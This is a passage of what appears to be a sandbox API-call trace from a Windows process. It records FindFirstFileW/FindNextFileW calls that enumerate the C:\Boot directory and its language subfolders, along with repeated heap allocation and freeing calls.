ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.753] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.754] GetProcessHeap () returned 0xc00000 [0088.754] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.754] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0088.754] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0088.754] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0088.754] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0088.755] GetProcessHeap () returned 0xc00000 [0088.755] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19bb8 [0088.757] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.757] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.757] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.758] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.758] FindClose (in: hFindFile=0xc19bb8 | out: hFindFile=0xc19bb8) returned 1 [0088.759] GetProcessHeap () returned 0xc00000 [0088.759] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.759] GetProcessHeap () returned 0xc00000 [0088.759] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19bb8 [0088.762] GetProcessHeap () returned 0xc00000 [0088.762] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.762] GetProcessHeap () returned 0xc00000 [0088.762] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.762] GetProcessHeap () returned 0xc00000 [0088.762] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.762] GetProcessHeap () returned 0xc00000 [0088.762] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.764] GetProcessHeap () returned 0xc00000 [0088.764] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.764] GetProcessHeap () returned 0xc00000 [0088.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.766] GetProcessHeap () returned 0xc00000 [0088.766] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.766] GetProcessHeap () returned 0xc00000 [0088.766] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.766] GetProcessHeap () returned 0xc00000 [0088.766] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.766] GetProcessHeap () returned 0xc00000 [0088.766] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19cb8 [0088.768] GetProcessHeap () returned 0xc00000 [0088.768] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.768] GetProcessHeap () returned 0xc00000 [0088.768] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-MX\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.769] GetProcessHeap () returned 0xc00000 [0088.770] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.770] GetProcessHeap () returned 0xc00000 [0088.770] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\et-EE\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.770] GetProcessHeap () returned 0xc00000 [0088.770] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.770] GetProcessHeap () returned 0xc00000 [0088.770] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.772] GetProcessHeap () returned 0xc00000 [0088.772] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.772] GetProcessHeap () returned 0xc00000 [0088.772] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.791] GetProcessHeap () returned 0xc00000 [0088.791] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.791] GetProcessHeap () returned 0xc00000 [0088.791] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-CA\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.793] GetProcessHeap () returned 0xc00000 [0088.793] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.793] GetProcessHeap () returned 0xc00000 [0088.793] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.794] GetProcessHeap () returned 0xc00000 [0088.794] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.794] GetProcessHeap () returned 0xc00000 [0088.794] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.794] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hr-HR\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0088.796] GetProcessHeap () returned 0xc00000 [0088.796] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.796] GetProcessHeap () returned 0xc00000 [0088.796] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.796] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.796] GetProcessHeap () returned 0xc00000 [0088.796] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.796] GetProcessHeap () returned 0xc00000 [0088.796] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.796] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.798] GetProcessHeap () returned 0xc00000 [0088.798] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.798] GetProcessHeap () returned 0xc00000 [0088.798] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.798] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.799] GetProcessHeap () returned 0xc00000 [0088.799] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.800] GetProcessHeap () returned 0xc00000 [0088.800] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.800] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.802] GetProcessHeap () returned 0xc00000 [0088.802] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.802] GetProcessHeap () returned 0xc00000 [0088.802] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lt-LT\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0088.802] GetProcessHeap () returned 0xc00000 [0088.802] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.802] GetProcessHeap () returned 0xc00000 [0088.802] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lv-LV\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.803] GetProcessHeap () returned 0xc00000 [0088.804] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.804] GetProcessHeap () returned 0xc00000 [0088.804] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.806] GetProcessHeap () returned 0xc00000 [0088.806] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.806] GetProcessHeap () returned 0xc00000 [0088.806] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.807] GetProcessHeap () returned 0xc00000 [0088.807] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.807] GetProcessHeap () returned 0xc00000 [0088.807] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.808] GetProcessHeap () returned 0xc00000 [0088.808] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.808] GetProcessHeap () returned 0xc00000 [0088.808] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.810] GetProcessHeap () returned 0xc00000 [0088.810] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.810] GetProcessHeap () returned 0xc00000 [0088.810] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, 